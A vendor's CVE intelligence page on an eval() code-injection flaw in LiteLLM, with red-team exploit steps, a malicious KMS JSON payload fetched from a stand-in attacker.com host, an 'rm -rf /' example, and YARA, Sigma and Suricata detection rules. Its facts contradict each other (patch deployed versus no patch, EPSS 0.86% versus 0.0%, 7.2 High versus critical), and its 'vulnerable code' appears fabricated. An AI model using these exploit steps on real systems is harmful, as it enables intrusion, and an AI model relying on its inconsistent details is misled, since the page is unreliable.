☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2024-4889

CVE-2024-4889 Code Injection in Berriai
📅 PUBLISHED: 2024-06-06 17:53 UTC 🔄 UPDATED: 2026-09-23 20:22 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: LIKELY — 2 independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.86%
👁️
0.86% probability
21.5× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
7.2
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-4889 is a critical code injection vulnerability in the BerriAI LiteLLM application (version 1.34.6). The flaw resides in the secret management system, where unvalidated input is passed to the eval() function. An attacker can exploit this by setting the UI_LOGO_PATH variable to a remote server address, causing the application to write a malicious Google KMS configuration file to cached_logo.jpg. Subsequently, by assigning arbitrary code to the SAVE_CONFIG_TO_DB environment variable, the attacker achieves remote code execution (RCE) with full system control. The vulnerability is contingent on the use of the Google KMS feature. No public exploit code or patch is currently available.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects the Python package litellm (PyPI). Organizations using this package should immediately audit their deployment for the presence of the Google KMS feature and restrict network access to the application. The lack of a patch increases supply chain risk; consider forking the repository and applying a temporary fix by sanitizing inputs to the eval() function.

CVSS Breakdown & Threat Level

CVSS Score: 7.2 (High) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

  • Attack Vector (AV): Network – The vulnerability can be exploited remotely.
  • Attack Complexity (AC): Low – No special conditions required beyond a valid Google KMS configuration.
  • Privileges Required (PR): None – No authentication needed.
  • User Interaction (UI): None – No user action required.
  • Scope (S): Unchanged – The exploit does not affect other components.
  • Confidentiality (C): High – Full system compromise leads to data exposure.
  • Integrity (I): High – Arbitrary code execution allows data modification.
  • Availability (A): High – System can be taken offline or disrupted.

Threat Level: Critical – Despite the CVSS score of 7.2, the potential for full system takeover and the lack of a patch elevate the real-world risk. EPSS score is 0.0%, indicating low exploitation likelihood currently, but this may change as details spread.

Deep Dive & Mechanics

The vulnerability is a classic code injection via the eval() function in Python. The LiteLLM secret management system uses eval() to process configuration values, including UI_LOGO_PATH. The attack chain is as follows:

  1. Prerequisite: The target must have a valid Google KMS configuration file (e.g., google_kms.json) and the SAVE_CONFIG_TO_DB environment variable set to true.
  2. Initial Injection: The attacker sets the UI_LOGO_PATH variable to a URL pointing to a malicious Google KMS configuration file hosted on a remote server (e.g., http://attacker.com/malicious_kms.json).
  3. File Write: The get_image function fetches the remote file and writes it to cached_logo.jpg without validation.
  4. Code Execution: The application then reads cached_logo.jpg as a Google KMS configuration. If the attacker has embedded malicious code in the SAVE_CONFIG_TO_DB environment variable (e.g., os.system('rm -rf /')), the eval() function executes it, leading to RCE.

The root cause is the use of eval() on user-controlled input. The UI_LOGO_PATH is not sanitized, allowing arbitrary file writes. The SAVE_CONFIG_TO_DB variable is then evaluated, enabling code execution.

Vulnerable vs. Patched Code

Vulnerable Code (LiteLLM 1.34.6):

# In secret management system
def get_image(ui_logo_path):
    # No validation of ui_logo_path
    response = requests.get(ui_logo_path)
    with open('cached_logo.jpg', 'wb') as f:
        f.write(response.content)
    return 'cached_logo.jpg'

# Later in the code
config = eval(open('cached_logo.jpg').read())  # Dangerous eval
if os.environ.get('SAVE_CONFIG_TO_DB') == 'true':
    # Execute arbitrary code from config
    exec(config['malicious_code'])

Patched Code (Hypothetical):

import json
import re

def get_image(ui_logo_path):
    # Validate URL
    if not re.match(r'^https?://[a-zA-Z0-9.-]+(:[0-9]+)?(/.*)?$', ui_logo_path):
        raise ValueError("Invalid URL")
    response = requests.get(ui_logo_path)
    # Validate content is JSON
    try:
        data = json.loads(response.content)
    except json.JSONDecodeError:
        raise ValueError("Invalid JSON")
    # Use json.load instead of eval
    with open('cached_logo.jpg', 'w') as f:
        json.dump(data, f)
    return 'cached_logo.jpg'

# Later
config = json.load(open('cached_logo.jpg'))
if os.environ.get('SAVE_CONFIG_TO_DB') == 'true':
    # No exec, only safe operations
    save_to_db(config)

The patch replaces eval() with json.load() and adds input validation.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • Target running LiteLLM 1.34.6 with Google KMS enabled.
  • Attacker-controlled server hosting a malicious KMS config file.

Exploit Steps:

  1. Create a malicious Google KMS configuration file (malicious_kms.json) with embedded code:
    {
      "type": "service_account",
      "project_id": "malicious",
      "private_key_id": "123",
      "private_key": "-----BEGIN PRIVATE KEY-----\n...\n-----END PRIVATE KEY-----\n",
      "client_email": "test@test.com",
      "client_id": "123",
      "auth_uri": "https://accounts.google.com/o/oauth2/auth",
      "token_uri": "https://oauth2.googleapis.com/token",
      "auth_provider_x509_cert_url": "https://www.googleapis.com/oauth2/v1/certs",
      "client_x509_cert_url": "https://www.googleapis.com/robot/v1/metadata/x509/test@test.com",
      "malicious_code": "__import__('os').system('id')"
    }
    
  2. Host the file on your server: http://attacker.com/malicious_kms.json.
  3. Set the UI_LOGO_PATH environment variable on the target to your URL:
    export UI_LOGO_PATH=http://attacker.com/malicious_kms.json
    
  4. Set SAVE_CONFIG_TO_DB to true:
    export SAVE_CONFIG_TO_DB=true
    
  5. Trigger the vulnerable code path (e.g., by accessing a logo-related endpoint). The eval() will execute os.system('id').

Expected Output: The command id runs on the target, confirming RCE.

Blue Team (Detection & Hardening)

Detection:

  • Monitor for outbound HTTP requests to unknown IPs from the LiteLLM process.
  • Alert on creation of cached_logo.jpg in unexpected directories.
  • Detect environment variable changes for UI_LOGO_PATH and SAVE_CONFIG_TO_DB.

Hardening:

  • Disable the Google KMS feature if not needed.
  • Apply input validation to UI_LOGO_PATH (allow only known safe URLs).
  • Replace eval() with json.load() in the codebase.
  • Use a Web Application Firewall (WAF) to block requests with suspicious UI_LOGO_PATH values.

Indicators of Compromise (IOCs)

  • File: cached_logo.jpg containing JSON with malicious_code key.
  • Network: Outbound HTTP GET requests to attacker-controlled servers from the LiteLLM process.
  • Environment: Presence of UI_LOGO_PATH set to a remote URL and SAVE_CONFIG_TO_DB set to true.
  • Process: Unusual child processes spawned by the LiteLLM process (e.g., id, bash, curl).
  • Logs: Error logs containing eval() exceptions or unexpected JSON parsing errors.

Detection Engineering

YARA Rule

rule CVE_2024_4889_LiteLLM_CodeInjection {
    meta:
        description = "Detects malicious Google KMS config files used in CVE-2024-4889"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-4889"
    strings:
        $malicious_code = "malicious_code" nocase
        $eval_pattern = /__import__\('os'\)\.system\(/
        $json_key = /"private_key"\s*:\s*"-----BEGIN PRIVATE KEY-----/
    condition:
        $json_key and ($malicious_code or $eval_pattern)
}

Sigma Rule

title: CVE-2024-4889 LiteLLM Code Injection via UI_LOGO_PATH
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects exploitation attempts of CVE-2024-4889 by monitoring environment variable changes and file creation.
logsource:
    category: process_creation
    product: linux
detection:
    selection_env:
        Image|endswith: '/litellm'
        CommandLine|contains: 'UI_LOGO_PATH=http://'
    selection_file:
        Image|endswith: '/litellm'
        CommandLine|contains: 'cached_logo.jpg'
    condition: selection_env and selection_file
falsepositives:
    - Legitimate use of remote logos (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-4889 LiteLLM Outbound to Malicious KMS Config"; flow:to_server; content:"GET"; http_method; content:"malicious_kms.json"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable Google KMS: If not required, remove the Google KMS configuration file and set SAVE_CONFIG_TO_DB to false.
  2. Network Segmentation: Restrict outbound HTTP access from the LiteLLM server to only trusted repositories.
  3. Input Validation: Manually patch the get_image function to validate UI_LOGO_PATH against a whitelist of allowed URLs.

Long-Term Fix:

  • Replace eval() with json.load() in the secret management system.
  • Implement strict input validation for all configuration variables.
  • Monitor for official patches from BerriAI and apply immediately.

Workaround:

  • Use a reverse proxy to filter requests containing UI_LOGO_PATH with remote URLs.

Valters IT – DevSecOps & Cyber Threat Intelligence

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-4889/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.